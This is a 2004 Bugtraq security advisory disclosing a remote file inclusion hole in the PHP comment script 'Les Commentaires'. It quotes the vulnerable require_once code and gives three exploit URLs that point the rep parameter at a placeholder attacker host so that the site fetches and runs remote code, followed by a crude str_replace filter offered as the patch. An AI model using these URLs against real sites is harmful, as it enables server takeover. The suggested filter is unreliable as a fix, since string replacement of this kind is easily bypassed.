Bugtraq mailing list archives

Les Commentaires (PHP) Include file


From: Himeur Nourredine <lostnoobs () security-challenge com>
Date: 3 Feb 2004 20:30:54 -0000



Informations : 
°°°°°°°°°°°°°° 
Website : http://www.phpscripts-fr.net
Version : all
Problem : Include file 



PHP Code/Location : 
°°°°°°°°°°°°°°°°°°° 
config/fonctions.lib.php
derniers_commentaires.php
admin.php 
------------------------------------------------------------------ 
if (!isset($rep)) $rep = './';
require_once($rep.'config/fonctions.lib.php');
require_once($rep.'langues/'.$langue.'.lang.php');
------------------------------------------------------------------ 




Exploit : 
°°°°°°°°° 
http://[target]/config/fonctions.lib.php?rep=http://[attacker]/file.ext%3f
http://[target]/derniers_commentaires.php?rep=http://[attacker]/file.ext%3f
http://[target]/admin.php?rep=http://[attacker]/file.ext%3f


(the same but in local with = /langues/'.$langue.'.lang.php )


Patch : 
°°°°°°° 
You must to put a filter on the variable $rep and $langue.
like=
$rep= str_replace("..","lol",$rep);
AND
$rep= str_replace("://","lol",$rep);
(same with $langue)

Nourredine Himeur

www.security-challenge.com


Current thread: